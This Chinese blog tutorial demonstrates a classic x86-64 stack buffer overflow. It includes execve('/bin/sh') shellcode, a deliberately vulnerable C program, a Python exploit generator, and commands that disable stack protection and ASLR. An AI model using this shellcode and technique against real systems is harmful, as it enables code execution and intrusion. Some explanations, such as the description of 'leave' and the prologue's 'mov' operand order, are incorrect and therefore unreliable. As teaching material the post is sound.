首页 > 系统相关 >x86架构的内存溢出攻击原理演示(加强对计算机运行原理的理解,说明内存溢出的危害)

x86架构的内存溢出攻击原理演示(加强对计算机运行原理的理解,说明内存溢出的危害)

时间:2023-02-11 17:34:56浏览次数:57  
标签:eip rsp rbp 地址 内存 原理 buf 溢出

PS:要转载请注明出处,本人版权所有。

PS: 这个只是基于《我自己》的理解,

如果和你的原则及想法相冲突,请谅解,勿喷。

前置说明

  本文作为本人csdn blog的主站的备份。(BlogID=074)
  本文发布于 2018-12-06 16:46:09,现用MarkDown+图床做备份更新。blog原图已丢失,使用csdn所存的图进行更新。(BlogID=074)

环境说明

  无

前言


  本文仅用于学习计算机程序运行原理,请不要用作其他违法用途。

  内存溢出可以说是我们程序员经常遇到的问题了,但是一般过程中,我们只会处理让程序崩溃的内存溢出,只要程序不崩溃,我们基本不会管的了。这里,我将会演示一下程序内存溢出的严重后果。同时也警示我们自身,写程序一定要逻辑严密一点,不要犯低级错误。(然而我们不可能避免错误,只要没有比较明显的错误即可。)





前置知识(64bit)




汇编中的几个重要指令:

  汇编中的几个重要指令:

  • call xxx 等价于:push eip 和 jump xxx
  • leave 等价于: pop rbp 和 mov rbp,rsp
  • ret 等价于 pop eip


栈帧的知识:

  参考我之前的文章:https://blog.csdn.net/u011728480/article/details/79092194

  简单说就是,跳转到一个子过程,会又一片新的内存区域,有三个重要的寄存器rbp,rsp,eip 可以表示和这个区域的属性。看下图:(在调用一个子过程的时候,注意rsp,rbp,eip的变化,新的rsp和rbp的生成,新老rsp和rbp的关系)

rep_img

  注意:每个子调用的完整过程为:这里面包含了所有的rbp,rsp,eip的变化

call sub_call       ; eip入栈,rsp-8
push rbp		 ; rbp 入栈  rsp-8
mov rsp,rbp        ; rsp 赋值给rbp,作为一个新的栈帧开始,rbp为栈底
... ...                    ;这里就是子调用的变量内存分配,rsp-0xN
... ...			 ;其他过程
... ...                    ;其他过程
leave                  ;rbp赋值给rsp, rbp出栈,rsp+8
ret                       ;eip出栈,rsp+8

  这样的一个过程,就完成了现场调整执行子调用然后恢复现场的过程。





内存溢出的攻击的简要原理(以上图为例)


  x86栈帧是从高地址到低地址的排列的。如果我在sub_func中分配了0xN字节的buf,那么上图的rbp'和rsp'的关系变为rbp'=rsp'+0xN,如果没有做安全的内存使用,我直接写入了0xN+8+8的数据,理论上来说,我就覆盖了上图栈中eip的值,eip存放的是sub_func返回时,要执行Main_Func下一条指令的地址,也就是说,我控制了,sub_func返回时要执行的地址内容,那么通过精心构造的内容,如果写入到buf,就可能执行我们想要的代码。

  那么是不是内存溢出很简单呢?操作系统难道那么不安全吗?





现代内存堆栈保护技术出现


  1. 编译器堆栈检测
  2. 堆栈不可执行
  3. 地址空间随机化等等

  这些东西都可以提高内存溢出的难度,我是一个小白,为了理解内存攻击,我得把他们关闭了。





内存溢出攻击实例




1 准备一份shellcode,就是上面替换eip后,你想要执行的一份代码。我这里选择,生成一个shell。

  对应的16进制:
\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05

  c版本

//       int execve(const char *filename, char *const argv[],char *const envp[]);
const char * a = "/bin/sh";
char * b[1];
b[0] = a;
execve(a, b, NULL);

  汇编版本(64位,注意)

    xor eax, eax ; 清空eax
    mov rbx, 0xFF978CD091969DD1 ; 0x6873276e69622f的补码
    neg rbx;对rbx求补码,rbx=0x6873276e69622f,代表hs/nib/
    push rbx;把/bin/sh的地址放入栈,rsp-8
    push rsp;rsp放入堆栈,rsp-8
    pop rdi;把/bin/sh的地址给rdi,rdi作为作为参数参数的第一个参数,在64系统中,rsp+8
    cdq;把edx的每一位设置为eax的最高位,就是edx清零,然后把edx作为eax的高位。
    push rdx;内存地址高8字节rsp-8
    push rdi;内存地址低8字节,指向/bin/sh,rsp-8
    push rsp;保存rsp,rsp-8
    pop rsi;rsi=新构造的一个变量地址。指向/bin/sh,rsp+8
    mov al, 0x3b;设置系统调用号0x3b execv
    syscall;系统调用

  64位系统,execve的系统调用号为59,也就是0x3b

rep_img


2 实际实例攻击

  异常代码

#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>


void overflow(char * msg){

	char buf[10];
	memcpy(buf, msg, 100);
	printf("buf out: %s", buf);
}

int main(int argc, char * argv[]){

	char main_buf[100];
	int f = open(argv[1], O_RDONLY);
	read(f, main_buf, 100);
	overflow(main_buf);
	return 0;
}

  exp 辅助生产工具,生成exp文件,python exp.py>msg

  exp.py 文件内容

#!/usr/bin/python

import struct
from subprocess import call

addr=0x7fffffffDE5B

s_c="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

buf="M"*10
buf+="M"*8
buf+=struct.pack("<I",0xffffde30) #main rbp
buf+=struct.pack("<I",0x7fff) #main rbp
buf+=s_c
def str_to_hex(s):
	return ''.join([hex(ord(c)).replace('0x', '\\x') for c in s])
print buf
#call(["./a.out",buf])

  编译方法,去掉堆栈保护,设置堆栈可执行

gcc test.cpp -l stdc++ -z execstack -fno-stack-protector 

  关闭地址随机化(必须root用户情况下):

echo 0 > /proc/sys/kernel/randomize_va_space 

  效果:

rep_img

  至此我们成功拿到了shell,可以做一些简单的shell操作等等。





以上实例分析


  根据上文overflow源码分析得出,我们溢出了90个字节,由于程序员的不小心。这100个字节是来至于文件的,我们可以构建一个特殊的文件来达到我们的目的。

  根据exp助手,我们可以生成一个创建shell的exp文件。

根据exp助手源码可知:
1-10字节为M     ------    这对应我们申请的buf内容
11-18字节为M     ------   这对应在子过程调用中,push rbp时,保存的原有的rbp
19-26字节为eip在栈中的位置   ------ 这就是我们要修改当overflow返回时,我要计算机执行的我的代码的地方,也就是shellcode中的xor eax,eax
27-54字节即为创建shell的shellcode

  如果我们在overflow中申请的buf地址为N,那么:

N~N+0xa 为buf的内存空间
N+0xb~N+0x12 为原rbp保存的位置
N+0x13~N+0x1a 为我们需要控制的eip的值,需要让他指定到我们想要的地址去,明显我们想要的地址就是N+0x1b,也就是我们创建shell的汇编存放的地方
N+0x1b~N+0x36 为我们存放创建shell汇编代码的存放的地方。

  从上述分析可知:
    我们需要改的就是N+0x13~N+0x1a内存中存放的值,改为N+0x1b.

  在操作系统中:当我们关闭的地址虚拟化后,我们的程序在开机的过程中,每次运行的时候,基地址的一致的,这样我们每次运行的时候,我们的buf地址是一致,当我们获取了buf地址后,即可生成exp文件。

  我们通过core文件和gdb来找到buf的地址如下图:

  先运行./a.out msg

  这个时候msg的地址可以乱填,反正会段错误。得到core文件

  在运行 gdb --core=core

  这个时候查看几个寄存器的值,唯一的有效值是rsp的值如下图:

rep_img

  通过分析,发现是执行完leave 指令,并且执行完ret指令,eip中的值为我随意设定的一个乱的值。

  这里我们就知道,rsp的值即为我们的想要的shellcode,rsp的地址即为我们想要的地址,把这个地址放到exp助手里面去,然后重新生成exp文件,然后就得到了我们想要的结果。





总结

  1. 这告诉我们程序员,在写代码时,特别是有重大用处的程序时,要注意内存溢出问题,不可能有那么明显的溢出,但是有很多隐藏溢出地方,这个需要大家注意。
  2. 计算机还是一如既往的笨。
  3. 这是最经典的内存溢出攻击方式,现代的溢出攻击万变不离其宗。

本文主要是为了学习计算机中程序执行的原理,请不要用于非法用途。





后记


  无

参考文献




打赏、订阅、收藏、丢香蕉、硬币,请关注公众号(攻城狮的搬砖之路)
qrc_img

PS: 请尊重原创,不喜勿喷。

PS: 要转载请注明出处,本人版权所有。

PS: 有问题请留言,看到后我会第一时间回复。

标签:eip,rsp,rbp,地址,内存,原理,buf,溢出
From: https://www.cnblogs.com/Iflyinsky/p/17112169.html

相关文章